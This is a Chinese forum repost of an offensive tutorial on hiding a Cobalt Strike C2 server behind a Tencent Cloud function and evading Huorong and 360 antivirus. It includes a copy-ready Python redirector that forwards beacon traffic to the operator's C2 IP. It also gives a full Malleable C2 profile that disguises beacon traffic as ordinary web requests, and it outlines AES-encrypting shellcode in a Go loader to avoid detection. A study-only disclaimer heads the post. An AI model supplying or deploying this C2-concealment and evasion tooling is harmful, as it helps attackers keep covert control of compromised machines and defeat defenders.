|
本帖最后由 wangqiang 于 2022-6-24 23:37 编辑
XX中得Cobaltstrike隐藏IP+无脑免杀
原创 黑奴0号 PTEHub
2022-06-23 18:01 发表于北京
转载地址:XX中得Cobaltstrike隐藏IP+无脑免杀
特别声明- 网站发布的靶场项目中涉及的任何脚本,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
- 本文内靶场所有资源文件,禁止任何公众号、自媒体进行任何形式的转载、发布。
- PTEHUB 对任何思路、脚本及工具问题概不负责,包括但不限于由任何脚本错误导致的任何损失或损害.
- 文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,包括但不限于建立VPS或在某些行为违反国家/地区法律或相关法规的情况下进行传播, PTEHUB 对于由此引起的任何隐私泄漏或其他任何法律后果概不负责。
- 如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
- 以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明。PTEHUB 保留随时更改或补充此免责声明的权利。一旦使用访问 PTEHUB 项目,则视为您已接受此免责声明。
您访问或者使用了 PTEHUB ,则视为已接受此声明,请仔细阅读
您在本声明未发出之时使用或者访问了 PTEHUB ,则视为已接受此声明,请仔细阅读
0x01·简述
在攻防期间Cobaltstrike隐匿技术一直都是一个热门话题,之前可以使用域前置的方法,但现在各大厂商都针对于此增加了各种策略,于是就想到云函数。
云函数的原理就是由第三方提供的服务接收C2客户端流量再转发给服务端,避免了直接暴露服务端的真实IP。
隐藏好了IP就该想免杀的问题,其实简单的免杀真的很简单,真的有手就行!!!
0x02·云函数实现
这个技术是国外提出的,利用 azure 对 C2 进行隐藏,国内也有相对应的云函数厂商比如腾讯云,所以这里拿腾讯云举例。
打开腾讯云平台在搜索栏搜索云函数进入然后直接新建一个云函数即可。
创建触发器,利用API网关触发。
之后配置下API网关的路径,并发布即可。
接下去修改原本云函数的代码然后部署,如下:
C2的变量填入自己的IP和端口即可,为了方便大家具体代码如下可以直接复制。- # -*- coding: utf8 -*-
- import json,base64,requests
- def main_handler(event,context):
- C2 = 'http://IP'
- path = event['path']
- ip = event['requestContext']['sourceIp']
- headers = event['headers']
- headers['X-Forwarded-For'] = ip
- print(event)
- if event['httpMethod'] == 'GET':
- resp = requests.get(C2+path,headers=headers,verify=False)
- else:
- resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
- print(resp.headers)
- print(resp.content)
- response={
- "isBase64Encoded":True,
- "statusCode":resp.status_code,
- "headers":dict(resp.headers),
- "body":str(base64.b64encode(resp.content))[2:-1]
- }
- return response
复制代码
就会看到API的网关地址如下:
0x03·Cobaltstrike配置
在服务器的CS文件夹下创建cloud.profile文件,直接使用github上开源代码如下:
- set sleeptime "5000";
- set jitter "0";
- set maxdns "255";
- set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
- http-config {
- set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By";
- header "Server" "Nginx";
- header "Content-Type" "text/html;charset=UTF-8";
- header "Cache-Control" "max-age=1";
- header "Connection" "keep-alive";
- set trust_x_forwarded_for "true";
- }
- http-get {
- set uri "/api/x";
- client {
- header "Accept" "*/*";
- metadata {
- base64;
- prepend "SESSIONID=";
- header "Cookie";
- }
- }
- server {
- header "Content-Type" "application/ocsp-response";
- header "content-transfer-encoding" "binary";
- header "Server" "nginx";
- output {
- base64;
- print;
- }
- }
- }
- http-stager {
- set uri_x86 "/vue.min.js";
- set uri_x64 "/bootstrap-2.min.js";
- }
- http-post {
- set uri "/api/y";
- client {
- header "Accept" "*/*";
- id {
- base64;
- prepend "JSESSION=";
- header "Cookie";
- }
- output {
- base64;
- print;
- }
- }
- server {
- header "Content-Type" "application/ocsp-response";
- header "content-transfer-encoding" "binary";
- header "Connection" "keep-alive";
- output {
- base64;
- print;
- }
- }
- }
复制代码
这里配置文件的http-config是为了与云函数同步使用X-Forward-For来获取真实ip。
在服务端利用profile文件启动CS。
打开CS创建一个监听器,将网关地址复制填入,注意端口为80。
完成后直接生成一个马子看看效果,可以成功上线,功能正常。
接下来看一下木马链接地址。
可以看到IP地址为腾讯的。
接下来把直接生成的木马扔到微步沙箱看下效果。
由于是直接生成的exe马子肯定会被杀掉。
0x04·有手就行的免杀
接下来就要开始做免杀的环节了,其实对于火绒或者360这种杀毒软件免杀并没有多难,俗称有手就行。这里就拿go语言做为示范。
首先思考怎么免杀,为什么会被马子会被杀掉。这里就要提一下shellcode是什么。
来自于百度的解释为:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。在寄存器eip溢出后,加入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。 而杀软的查杀一般都会基于行为或者基于特征查杀,这样做免杀也需要了解静态免杀和动态免杀。静态免杀比较简单,修改特征码、加密Shellcode等方法,轻而易举达到免杀效果。动态免杀就比较麻烦,通常会进行API替换、直接系统调用、白加黑方式等等,需要对win32、汇编、等有一定的了解。
这篇文章就像标题所说讲一下简单的免杀,动态查杀替换API等等,下次一定!!!
首先利用CS生成一段C语言的shellcode。
新建一个项目。
静态对未加密的shellcode肯定会进行查杀,所以需要对shellcode写一个加密,这里就采用AES加密。
直接百度找了一个go的AES加密复制过来用就行。
再新建一个文件用来写加密,整体流程就是先进行序列化--->AES加密--->base64编码。
(如果真一点代码不懂就不建议来搞免杀了)
利用cmd运行加密后查看下效果。
加密好了以后就可以开始写加载器做解密加载了,怎么做的加密就反向解回去就好了。
接下来就到了最重要的加载器,百度找源码嘛,找不到就github啊。
最后调用方法加载,整体结构如下:
接下来把源码编译成exe。
0x05·免杀效果
来吧,看效果,冲冲冲!!!
火绒
360
|
|